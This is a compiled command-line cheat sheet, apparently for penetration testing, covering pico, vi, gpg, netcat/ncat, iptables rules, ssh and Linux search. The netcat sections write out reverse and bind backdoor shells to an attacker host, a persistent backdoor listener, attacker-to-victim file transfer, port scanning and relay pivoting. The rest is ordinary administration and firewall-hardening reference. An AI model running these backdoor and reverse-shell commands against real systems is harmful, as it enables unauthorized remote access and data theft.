Ctrl/e Move to the end of the current line.
Ctrl/v Move forward one page.
Ctrl/y Move backward one page.
Ctrl/w Search for (where is) text.
Ctrl/l Refresh the display.
Ctrl/d Delete the character at the cursor position.
Ctrl/^ Begin selecting text at the cursor.*
Ctrl/k Remove (cut) selected text or current line.
Ctrl/u Paste (uncut) last cut text at the cursor position.
Ctrl/i Insert a tab at the current cursor position.
Ctrl/j Format (justify) the current paragraph.
Ctrl/t Spell check the text.
Ctrl/r Insert (read in) a file at the cursor.
Ctrl/o Write (output) the buffer to a file, saving it.
Ctrl/g View Pico's online help.
Ctrl/x Exit Pico, saving the file.
```

vi

```
Start/Exit
*     vi filename   edit filename starting at line 1
*     :x<Return>    quit vi, writing out modified file to file named in original
invocation
      :wq<Return>   quit vi, writing out modified file to file named in original
invocation
      :q<Return>    quit (or exit) vi
*     :q!<Return>   quit vi even though latest changes have not been saved for this vi
call

Edit
*     u      UNDO WHATEVER YOU JUST DID; a simple toggle
*     i      insert text before cursor, until <Esc> hit
      I      insert text at beginning of current line, until <Esc> hit
*     a      append text after cursor, until <Esc> hit
      A      append text to end of current line, until <Esc> hit
*     o      open and put text in a new line below current line, until <Esc> hit
*     O      open and put text in a new line above current line, until <Esc> hit
*     r      replace single character under cursor (no <Esc> needed)
      R      replace characters, starting with current cursor position, until <Esc> hit
      cw     change the current word with new text,
starting with the character under cursor, until <Esc> hit
      cNw    change N words beginning with character under cursor, until <Esc> hit;
  e.g., c5w changes 5 words
      C      change (replace) the characters in the current line, until <Esc> hit
      cc     change (replace) the entire current line, stopping when <Esc> is hit
      Ncc or cNc    change (replace) the next N lines, starting with the current line,
stopping when <Esc> is hit
*     x      delete single character under cursor
      Nx     delete N characters, starting with character under cursor
      dw     delete the single word beginning with character under cursor
      dNw    delete N words beginning with character under cursor;
  e.g., d5w deletes 5 words
      D      delete the remainder of the line, starting with current cursor position
*     dd     delete entire current line
```

```
     Ndd or dNd    delete N lines, beginning with the current line;
  e.g., 5dd deletes 5 lines
     yy     copy (yank, cut) the current line into the buffer
     Nyy or yNy    copy (yank, cut) the next N lines, including the current line, into
the buffer
     p      put (paste) the line(s) in the buffer into the text after the current line

String Search
     /string       search forward for occurrence of string in text
     ?string       search backward for occurrence of string in text
     n      move to next occurrence of search string
     N      move to next occurrence of search string in opposite direction

Save/Read Files
     :r filename<Return>  read file named filename and insert after current line
(the line with cursor)
     :w<Return>    write current contents to file named in original vi call
     :w newfile<Return>   write current contents to a new file named newfile
     :12,35w smallfile<Return>   write the contents of the lines numbered 12 through 35
to a new file named smallfile
     :w! prevfile<Return> write current contents over a pre-existing file named
prevfile
```

gpg

http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/

```
to create a key:
gpg --gen-key
generally you can select the defaults.
to export a public key into file public.key:
gpg --export -a "User Name" > public.key
This will create a file called public.key with the ascii representation of the public
key for User Name. This is a variation on:
gpg --export
which by itself is basically going to print out a bunch of crap to your screen. I
recommend against doing this.
gpg --export -a "User Name"
prints out the public key for User Name to the command line, which is only semi-useful

to export a private key:
gpg --export-secret-key -a "User Name" > private.key
This will create a file called private.key with the ascii representation of the
private key for User Name.
It's pretty much like exporting a public key, but you have to override some default
protections. There's a note (*) at the bottom explaining why you may want to do this.

to import a public key:
gpg --import public.key
This adds the public key in the file "public.key" to your public key ring.

to import a private key:
NOTE: I've been informed that the manpage indicates that "this is an obsolete option
and is not used anywhere." So this may no longer work.
gpg --allow-secret-key-import --import private.key
This adds the private key in the file "private.key" to your private key ring. There's
a note (*) at the bottom explaining why you may want to do this.

to delete a public key (from your public key ring):
gpg --delete-key "User Name"
This removes the public key from your public key ring.
NOTE! If there is a private key on your private key ring associated with this public
key, you will get an error! You must delete your private key for this key pair from
your private key ring first.

to delete an private key (a key on your private key ring):
gpg --delete-secret-key "User Name"
This deletes the secret key from your secret key ring.

To list the keys in your public key ring:
gpg --list-keys

To list the keys in your secret key ring:
```

```
gpg --list-secret-keys

To generate a short list of numbers that you can use via an alternative method to
verify a public key, use:
gpg --fingerprint > fingerprint
This creates the file fingerprint with your fingerprint info.

To encrypt data, use:
gpg -e -u "Sender User Name" -r "Receiver User Name" somefile
There are some useful options here, such as -u to specify the secret key to be used,
and -r to specify the public key of the recipient.
As an example: gpg -e -u "Charles Lockhart" -r "A Friend" mydata.tar
This should create a file called "mydata.tar.gpg" that contains the encrypted data. I
think you specify the senders username so that the recipient can verify that the
contents are from that person (using the fingerprint?).
NOTE!: mydata.tar is not removed, you end up with two files, so if you want to have
only the encrypted file in existance, you probably have to delete mydata.tar yourself.
An interesting side note, I encrypted the preemptive kernel patch, a file of 55,247
bytes, and ended up with an encrypted file of 15,276 bytes.

To decrypt data, use:
gpg -d mydata.tar.gpg
If you have multiple secret keys, it'll choose the correct one, or output an error if
the correct one doesn't exist. You'll be prompted to enter your passphrase. Afterwards
there will exist the file "mydata.tar", and the encrypted "original," mydata.tar.gpg.
NOTE: when I originally wrote this cheat sheet, that's how it worked on my system,
however it looks now like "gpg -d mydata.tar.gpg" dumps the file contents to standard
output. The working alternative (worked on my system, anyway) would be to use "gpg -o
outputfile -d encryptedfile.gpg", or using mydata.tar.gpg as an example, I'd run "gpg
-o mydata.tar -d mydata.tar.gpg". Alternatively you could run something like "gpg -d
mydata.tar.gpg > mydata.tar" and just push the output into a file. Seemed to work
either way.
```

Gen Utils: Netcat/Ncat

Netcat/Ncat Command Switches

nc <options> <victim> <remote_port(s)>
-l: list mode (default is client)
-L: Listen harder (Win only); makes Netcat a persistent listener
-u: UDP mode (default is TCP)
-p: Local port (in server mode, this is port listened on; in client mode this is source port)
-in some versions –p means source port only
-nc –l –p 8080 (traditional nc) versus nc –l 8080 (gnu-style nc)
-e: program to execute after connect (useful for backdoors)
-many versions don't have this option compiled in, have to compensate
-z: Zero I/O mode (useful for scanning)
-wN: timeout for connects, waits for N seconds (useful for scanning)
-v: Be verbose (print when a connection is made)
-n: Don't perform DNS lookups on names of machines on other side
-v: verbose, print msgs on standard error
-vv: verbose, ++details
Standard Shell Redirects:
>: Dump output to a file
<: Dump input to a file
|: Pipe output of 1st program into 2nd program

Netcat Fundamentals

Fundamental Netcat Client
nc <TargetIPAddr> <port>
Connect to an arbitrary port <port> at IP Address <TargetIPAddr>

Fundamental Netcat Listener:
nc –l -p <local port>
Creat a Netcat listener on arbitrary local port <LocalPort>
Both the client and listener take input from STDIN and send date received from the network to STDOUT

Netcat Persistence

Windows Persistence
On Windows, Netcat restarts listening with –L
Or Scheduled task to start Netcat regularly

Linux Persistence
while [1]; do echo "Started"; nc –l –p <port> -e /bin/sh; done
Put that into shell script called listener.sh, chmod it to readable & executable, use the nohup cmd to log out and keep it going
nohup ./listener.sh &
Or use version of Netcat that supports "-L"
Or schedule cron job to start Netcat regularly

Netcat File Transfer

Push a file from client to listener
nc –l –p <LocalPort> > <outfile>
Listen on <LocalPort>, store results in <outfile>
nc –w3 <TargetIPAddr> <port> < <infile>
Push <infile> to <TargetIPAddr> on <port>

Pull file from listener back to client
nc –l –p <LocalPort> < <infile>
Listen on <LocalPort>,prep to push <infile>
nc –w3 <TargetIPAddr> <port> > <outfile>
Connect to TargetIPAddr> on <port> and retrieve <outfile>

Netcat TCP Port Scanner

Port Scan an IP Address:
Nc –v –n –z –w1 <TargetIPAddr> <startport>-<endport>
Attempt to connect to each port in a range from <endport> to <startport> on IP Address <TargetIPAddr> running verbosely (-v on Linux –vv on Win), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1)
The randomize port (-r) switch can be used to choose port numbers randomly in the range

Netcat TCP Banner Grabber

Grab the banner of any TCP service running on an IP Address from Linux:
echo "" | nc –v –n –w1 <TargetIPAddr> <start_port>-<end_port>
Attempt to connect to each port in a range from <end_port> to <start_port> on IP Address <TargetIPAddr> running verbosely (-v) not resolving names (-n) and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out banners received in response. Add –p <port to specify src prt.

Netcat Vulnerability Scanner

Netcat ships with some helpful vulnerability scanning scripts:
Weak rpcs, nfs exports, weak trust relationships, guessable passwds (root/root bin/bin), FTP vulns (PASV core dump)

Netcat Backdoor Shells

Listening backdoor shell on Linux:
Nc –l –p <LocalPort> -e /bin/bash

Listening backdoor shell on Windows:
C:\> nc –l –p <LocalPort> -e cmd.exe
Create a shell on local port <LocalPort> that can then be accessed using a fundamental Netcat client

Reverse backdoor shell on Linux:
Nc <YourIPAddr> <port> -e /bin/bash

Reverse backdoor shell on Windows:
C:\> nc <YourIPAddr> <port> -e cmd.exe
Create a reverse shell that will attempt to connect to <YourIPAddr> on local port <port>. This shell can then be captured using a fundamental nc listener.

Netcat Relays on Windows

To start, enter a temporary directory where we will create .bat files:
C:\> cd c:\temp

Listener to Client Relay:
C:\>encho nc <TargetIPaddr> <port> > relay.bat
C:\> nc –l –p <LocalPort> -e relay.bat
Create a relay that sends packets from the local port <LocalPort> to a Netcat Client connected on <TargetIPAddr> on port <port>

Listener to Listener Relay:
C:\> echo nc –l –p <LocalPort_2> > relay.bat
C:\> nc –l –p <LocalPort_1> -e relay.bat
Create a relay that will send packets from any connection on <LocalPort_1> to any connection on <LocalPort_2>

Client to Client Relay
C:\> echo nc <NextHopIPAddr> <port 2> > relay.bat
C:\> nc <PreviousHopIPaddr> <port> -e relay.bat
Create a relay that will send packets from the connection to <PreviousHopIPAddr> on port <port> to a Netcat Client connected to <NextHopIPAddr> on port <port2>

Netcat Relays on Linux

To start, create a FIFO (named pipe> called backpipe:
$cd /tmp
$mknod packpipe p

Listener to Client Relay
nc –l –p <Localport> 0<backpipe | nc <TargetIPAddr> <port> | tee backpipe
Create a relay that sends packets from the local port <LocalPort> to a Netcat client

```
connected to <TargetIPAddr> on port <port>

Listener to Listener Relay
nc –l –p <LocalPort_1> 0<backpipe | nc –l –p <LocalPort_2> | tee backpipe
Create a relay that sends packets from any connection on <LocalPort_1> to any
connection on LocalPort_2>

Client to Client Relay
Nc <PreviousHopIPAddr> <port> 0<backpipe | nc <NextHopIPAddr> <port2> | tee backpipe
Create a relay that sends packets from the connection to <PreviousHopIPAddr> on port
<port> to a Netcat client connected to <NextHopIPAddr> on port <port2>

-----
```

Netcat/Ncat Connections / Bind & Reverse Shells

```
Updated version of netcat
ncat --exec cmd.exe --allow 10.0.0.4 –vnl 4444 --ssl  :ncat listener(replaced netcat)
ncat –v 10.0.0.22 4444 --ssl                    :ncat connect to listener

ncat –lvp 4444 –e cmd.exe –allow <ip> --ssl     :attacker listener-ssl
ncat –v <attacker_listener_ip> 4444 --ssl       :victim connects

Traditional netcat listener/connector
nc –nlvp 4444                                   :ncat listener over port 4444
nc –nv <ip of listener> 4444                    :ncat connector

Netcat listener to transfer file
nc –l –p <port> > bo.txt (victim)               :netcat listener (don't forget firewall)
nc –w 3 <ip> <port> < bo.txt (attacker)         :netcat connect to listener

Netcat listener to transfer a file
nc –nlvp 4444 > incoming.exe                    :netcat listener for incoming file
nc –nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe :send file

Netcat bind shell (attacker makes connection to victim)
nc –lvp 4444 –e cmd.exe                         :netcat listener to gain cmd line access
nc –vn <listener_ip> 4444                       :netcat connector from victim behind FW
ipconfig (access to computer)

Netcat reverse shell (victim makes connection to attacker for cmd line)
nc –nlvp 4444                                   :netcat listener on attacker
nc –nv <attacker_ip> 4444 –e /bin/bash          :victim reaches out to make connection
id; uname –a (access to computer)

nc –nv <ip> 25     ;HELP                        :netcat connect to mail server,see help
nc –nv <ip> 110    ;USER bob;PASS bob           :netcat connect to mail server over 110
nc –nv <ip> 143    ;USER bob; PASS bob          :netcat connect to mail server over 143
```

iptables

https://www.andreafortuna.org/2019/05/08/iptables-a-simple-cheatsheet/
iptables uses three different chains to allow or block traffic: input, output and forward

Input – This chain is used to control the behavior for incoming connections.
Output – This chain is used for outgoing connections.
Forward – This chain is used for incoming connections that aren't actually being delivered locally like routing and NATing.
Let's start to configure rules
By default all chains are configured to the accept rule, so during the hardening process the suggestion is to start with a deny all configuration and then open only needed ports:

```
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables --policy FORWARD DROP
```

Display rules
Verbose print out all active iptables rules

```
# iptables -n -L –v
```

…same output with line numbers:

```
# iptables -n -L -v --line-numbers
```

Finally, same data output but related to INPUT/OUTPUT chains:

```
# iptables -L INPUT -n -viptables -L OUTPUT -n -v --line-numbers
```

List Rules as for a specific chain

```
# iptables -L INPUT
```

same data with rules specifications:

```
# iptables -S INPUT
```

rules list with packet count

```
# iptables -L INPUT –v
```

Delete/Insert rules
Delete Rule by Chain and Number

```
# iptables -D INPUT 10
```

Delete Rule by Specification

```
# iptables -D INPUT -m conntrack --ctstate INVALID -j DROP
```

Flush All Rules, Delete All Chains, and Accept All

```
# iptables -P INPUT ACCEPT
# iptables -P FORWARD ACCEPT
# iptables -P OUTPUT ACCEPT
# iptables -t nat -F
# iptables -t mangle -F
# iptables -F
# iptables -X
```

Flush All Chains

```
# iptables -F
```

Flush a Single Chain

```
# iptables -F INPUT
```

Insert Rule

```
# iptables -I INPUT 2 -s 202.54.1.2 -j DROP
```

Rules examples
Allow Loopback Connections

```
# iptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT
```

Allow Established and Related Incoming Connections

```
# iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
```

```
Allow Established Outgoing Connections
# iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT

Internal to External
# iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

Drop Invalid Packets
# iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

Block an IP Address
# iptables -A INPUT -s 192.168.1.10 -j DROP

Block and IP Address and Reject
# iptables -A INPUT -s 192.168.1.10 -j REJECT

Block Connections to a Network Interface
# iptables -A INPUT -i eth0 -s 192.168.1.10 -j DROP

Allow All Incoming SSH
# iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Incoming SSH from Specific IP address or subnet
# iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 22 -m conntrack --ctstate

NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Outgoing SSH
# iptables -A OUTPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A INPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Incoming Rsync from Specific IP Address or Subnet
# iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 873 -m conntrack --ctstate

NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 873 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Incoming HTTP
# iptables -A INPUT -p tcp --dport 80 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 80 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Incoming HTTPS
# iptables -A INPUT -p tcp --dport 443 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A OUTPUT -p tcp --sport 443 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow Incoming HTTP and HTTPS
# iptables -A INPUT -p tcp -m multiport --dports 80,443 -m conntrack --ctstate
NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp -m multiport --dports 80,443 -m conntrack --ctstate
ESTABLISHED -j ACCEPT

Allow MySQL from Specific IP Address or Subnet
# iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 3306 -m conntrack --ctstate
NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 3306 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow MySQL to Specific Network Interface
# iptables -A INPUT -i eth1 -p tcp --dport 3306 -m conntrack --ctstate NEW,ESTABLISHED
-j ACCEPT
# iptables -A OUTPUT -o eth1 -p tcp --sport 3306 -m conntrack --ctstate ESTABLISHED -j
ACCEPT

Allow PostgreSQL from Specific IP Address or Subnet
# iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 5432 -m conntrack --ctstate
NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 5432 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow PostgreSQL to Specific Network Interface
```

```
# iptables -A INPUT -i eth1 -p tcp --dport 5432 -m conntrack --ctstate NEW,ESTABLISHED
-j ACCEPT
# iptables -A OUTPUT -o eth1 -p tcp --sport 5432 -m conntrack --ctstate ESTABLISHED -j
ACCEPT

Block Outgoing SMTP Mail
# iptables -A OUTPUT -p tcp --dport 25 -j REJECT

Allow All Incoming SMTP
# iptables -A INPUT -p tcp --dport 25 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -p tcp --sport 25 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow All Incoming IMAP
# iptables -A INPUT -p tcp --dport 143 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A OUTPUT -p tcp --sport 143 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow All Incoming IMAPS
# iptables -A INPUT -p tcp --dport 993 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A OUTPUT -p tcp --sport 993 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow All Incoming POP3
# iptables -A INPUT -p tcp --dport 110 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A OUTPUT -p tcp --sport 110 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Allow All Incoming POP3S
# iptables -A INPUT -p tcp --dport 995 -m conntrack --ctstate NEW,ESTABLISHED -j
ACCEPT
# iptables -A OUTPUT -p tcp --sport 995 -m conntrack --ctstate ESTABLISHED -j ACCEPT

Drop Private Network Address On Public Interface
# iptables -A INPUT -i eth1 -s 192.168.1.0/24 -j DROP
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

Drop All Outgoing to Facebook Networks
Get Facebook AS:
# whois -h v4.whois.cymru.com " -v $(host facebook.com | grep "has address" | cut -d "
" -f4)" | tail -n1 | awk '{print $1}'

Drop:
# for i in $(whois -h whois.radb.net -- '-i origin AS1273' | grep "^route:" | cut -d
":" -f2 | sed -e 's/^[ \t]*//' | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | cut -d ":"
-f2 | sed 's/$/;/') ; do  iptables -A OUTPUT -s "$i" -j REJECTdone
Log and Drop Packets
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

By default everything is logged to /var/log/messages file:
# tail -f /var/log/messagesgrep --color 'IP SPOOF' /var/log/messages

Log and Drop Packets with Limited Number of Log Entries
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -m limit --limit 5/m --limit-burst 7 -j LOG
--log-prefix "IP_SPOOF A: "
# iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j DROP

Drop or Accept Traffic From Mac Address
# iptables -A INPUT -m mac --mac-source 00:0F:EA:91:04:08 -j DROP
# iptables -A INPUT -p tcp --destination-port 22 -m mac --mac-source 00:0F:EA:91:04:07
-j ACCEPT

Block or Allow ICMP Ping Request
# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
# iptables -A INPUT -i eth1 -p icmp --icmp-type echo-request -j DROP

Specifying Multiple Ports with multiport
# iptables -A INPUT -i eth0 -p tcp -m state --state NEW -m multiport --dports
ssh,smtp,http,https -j ACCEPT

Load Balancing with random* or nth*
```

```
_ips=("172.31.250.10" "172.31.250.11" "172.31.250.12" "172.31.250.13")for ip in
"${_ips[@]}" ; do  iptables -A PREROUTING -i eth0 -p tcp --dport 80 -m state --state
NEW -m nth --counter 0 --every 4 --packet 0 \    -j DNAT --to-destination ${ip}:80done
or

_ips=("172.31.250.10" "172.31.250.11" "172.31.250.12" "172.31.250.13")for ip in
"${_ips[@]}" ; do  iptables -A PREROUTING -i eth0 -p tcp --dport 80 -m state --state
NEW -m random --average 25 \    -j DNAT --to-destination ${ip}:80done

Restricting the Number of Connections with limit and iplimit*
# iptables -A FORWARD -m state --state NEW -p tcp -m multiport --dport http,https -o
eth0 -i eth1 -m limit --limit 20/hour --limit-burst 5 -j ACCEPT
or
# iptables -A INPUT -p tcp -m state --state NEW --dport http -m iplimit --iplimit-
above 5 -j DROP

Maintaining a List of recent Connections to Match Against
# iptables -A FORWARD -m recent --name portscan --rcheck --seconds 100 -j DROPiptables
-A FORWARD -p tcp -i eth0 --dport 443 -m recent --name portscan --set -j DROP
Matching Against a string* in a Packet's Data Payload
# iptables -A FORWARD -m string --string '.com' -j DROP
# iptables -A FORWARD -m string --string '.exe' -j DROP
Time-based Rules with time*
# iptables -A FORWARD -p tcp -m multiport --dport http,https -o eth0 -i eth1 -m time -
-timestart 21:30 --timestop 22:30 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
Packet Matching Based on TTL Values
# iptables -A INPUT -s 1.2.3.4 -m ttl --ttl-lt 40 -j REJECT

Protection against port scanning
# iptables -N port-scanningiptables -A port-scanning -p tcp --tcp-flags
SYN,ACK,FIN,RST RST -m limit --limit 1/s --limit-burst 2 -j RETURNiptables -A port-
scanning -j DROP

SSH brute-force protection
# iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --
setiptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --update
--seconds 60 --hitcount 10 -j DROP

Syn-flood protection
# iptables -N syn_floodiptables -A INPUT -p tcp --syn -j syn_floodiptables -A
syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN
# iptables -A syn_flood -j DROPiptables -A INPUT -p icmp -m limit --limit  1/s --
limit-burst 1 -j ACCEPT
# iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j LOG --log-prefix
PING-DROP:
# iptables -A INPUT -p icmp -j DROPiptables -A OUTPUT -p icmp -j ACCEPT

Mitigating SYN Floods With SYNPROXY
# iptables -t raw -A PREROUTING -p tcp -m tcp --syn -j CT --notrack
# iptables -A INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY
--sack-perm --timestamp --wscale 7 --mss 1460
# iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

Block New Packets That Are Not SYN
# iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
or
# iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP

Force Fragments packets check
# iptables -A INPUT -f -j DROP

XMAS packets
# iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP

Drop all NULL packets
# iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

Block Uncommon MSS Values
# iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss
536:65535 -j DROP
```

```
Block Packets With Bogus TCP Flags
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j
DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,ACK FIN -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,URG URG -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,FIN FIN -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,PSH PSH -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL ALL -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP
# iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP

Block Packets From Private Subnets (Spoofing)
_subnets=("224.0.0.0/3" "169.254.0.0/16" "172.16.0.0/12" "192.0.2.0/24"
"192.168.0.0/16" "10.0.0.0/8" "0.0.0.0/8" "240.0.0.0/5")for _sub in "${_subnets[@]}" ;
do  iptables -t mangle -A PREROUTING -s "$_sub" -j DROPdoneiptables -t mangle -A
PREROUTING -s 127.0.0.0/8 ! -i lo -j DROP
```

Saving Rules

```
On Debian Based systems:
# netfilter-persistent save
On RedHat Based systems
# service iptables save
```

ssh

SSH GENERAL

Name	Summary
ssh without input password	:sshpass -p '<your-passwd>' ssh <username>@<ssh_host>, brew install sshpass
Install sshd server	:apt-get install openssh, apt-get install openssh-server
Restart sshd server	:service sshd restart, systemctl reload sshd.service
Run ssh command	:ssh -o StrictHostKeyChecking=no -p 2702 root@172.17.0.8 date
SSH with verbose ouptut	:ssh -vvv -p 2702 root@45.33.87.74 date 2>&1
Setup ssh tunnel for your web browsing	:sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.150.0/24 -e ...
SSH passwordless login	:ssh-copy-id <username>@<ssh_host>, Or manually update ~/.ssh/authorized_keys
Remove an entry from known_hosts file	:ssh-keygen -f ~/.ssh/known_hosts -R github.com
Diff local file with remote one	:diff local_file.txt <(ssh <username>@<ssh_host> 'cat remote_file.txt')
Diff two remote ssh files	:diff <(ssh user@remote_host 'cat file1.txt') <(ssh user2@remote_host2 'cat file2.txt')
Upload with timestamps/permissions kept	:scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/
SSH agent load key	:exec ssh-agent bash && ssh-add /tmp/id_rsa, ssh-add
SSH list all loaded key	:ssh-add -l
SSH agent create and load key	:exec ssh-agent bash && ssh-keygen, ssh-add
Emacs read remote file with tramp	:emacs /ssh:<username>@<ssh_host>:/path/to/file
Generate a new key pair	:ssh-keygen, ssh-keygen -C "your_email@example.com" -t rsa
Generate key pair without interaction	:ssh-keygen -t rsa -f /tmp/sshkey -N "" -q

SSH ADVANCED

Name	Summary
Add passphrase protection to ssh keyfile	:ssh-keygen -p -f id_rsa
configure SSH to avoid trying all identity files	:ssh -o IdentitiesOnly=yes -i id1.key myuser@myserver.com
Convert OpenSSL format to SSH-RSA format	:ssh-keygen -f my_ssh.pub -i
Critical ssh files/folders	:~/.ssh/authorized_keys, ~/.ssh/config, ~/.ssh/known_hosts
SSH config file	:/etc/ssh/ssh_config, /etc/ssh/sshd_config
SSH key file permission	:chmod 600 ~/.ssh/id_rsa
SSH folder permission	:chmod 700 ~/.ssh, chown -R $USER:$USER ~/.ssh
Authorizedkeys file permission	:chmod 644 ~/.ssh/authorized_keys
Mute Warning: Permanently added	:ssh -o LogLevel=error

SSH TUNNEL & SSH PROXY

Name	Summary
SSH port forward to a local port	:ssh -N -i <ssh-keyfile> -f root@54.179.178.214 -L *:18085:localhost:8085 -n /bin/bash
Reverse port forward to remote server	:ssh -R *:40099:localhost:22
root@54.179.178.214,	:ssh -p 40099 root@54.179.178.214
Setup ssh tunnel for your web browsing	:sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.111.0/24 192.168.150.0/24 192.167.0.0/24

SSH SECURITY

Name	Summary
Disable ssh by password	:sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config
Disable root login	:sed -i 's/^PermitRootLogin yes/#PermitRootLogin yes/' /etc/ssh/sshd_config
Enable/Disable SSH Host Key Checking	:StrictHostKeyChecking yes change ~/.ssh/config
Protect SSH server from brute force attacks	:fail2ban command line tool

SCP

Name	Summary
Download a remote folder	:scp -r ec2-user@<ssh-host>:/home/letsencrypt-20180825 ./
Upload a file	:scp -i <ssh-keyfile> /tmp/hosts ec2-user@<ssh-host>:/root/

Upload a folder :scp -r /tmp/abc/ ec2-user@<ssh-host>:/root/
Upload with timestamps/permissions kept:scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/
Mount remote directory as local folder :sshfs name@server:/path/remote_folder /path/local_folder

PARSE SSH LOG FILE

Name	Command
Events of ssh down	:grep -R "ssh.*Received signal 15" /var/log/auth.log
Events of ssh up	:grep -R "sshd.*Server listening" /var/log/auth.log
Events of ssh failed login	:grep -R "sshd.*Failed password for invalid user" /var/log/auth.log
Events of ssh break-in attemp	:grep -R "sshd.*POSSIBLE BREAK-IN ATTEMPT!" /var/log/auth.log
Events of ssh port scap	:grep -R "sshd.*Bad protocol version identification" /var/log/auth.log
Events of ssh login by public key	:grep -R "sshd.*Accepted publickey for" /var/log/auth.log
Events of ssh login by password	:grep -R "sshd.*Accepted password for" /var/log/auth.log
Events of ssh logout event	:grep -R "sshd.*pam_unix(sshd:session): session closed for" /var/log/auth.log

SSH TOOLS

Name	Summary
Export local env to Internet	:ngrok.com
Reverse ssh proxy	:sshuttle
SSH by auto input password	:sshpass sshpass -p “$PASSWORD” ssh -o StrictHostKeyChecking=no $username@$sship=

Appendix: Linux Essentials

Man Pages

```
Man7.org                                          :man pages made easy
```

Linux Search

```
grep                                              :search
grep -rnwI '/path/to/somewhere/' -e 'pattern'     :search for files contains specific text
updatedb                                          :must run before using locate
locate –i <term>                                  :locate files; -i = case insensitive
which sbd                                         :searches dirs in $PATH env
find / -name sbd*                                 :search for file names starting w/sbd
find / -name sbd* -exec file {} \;                :exe all sbd* files found
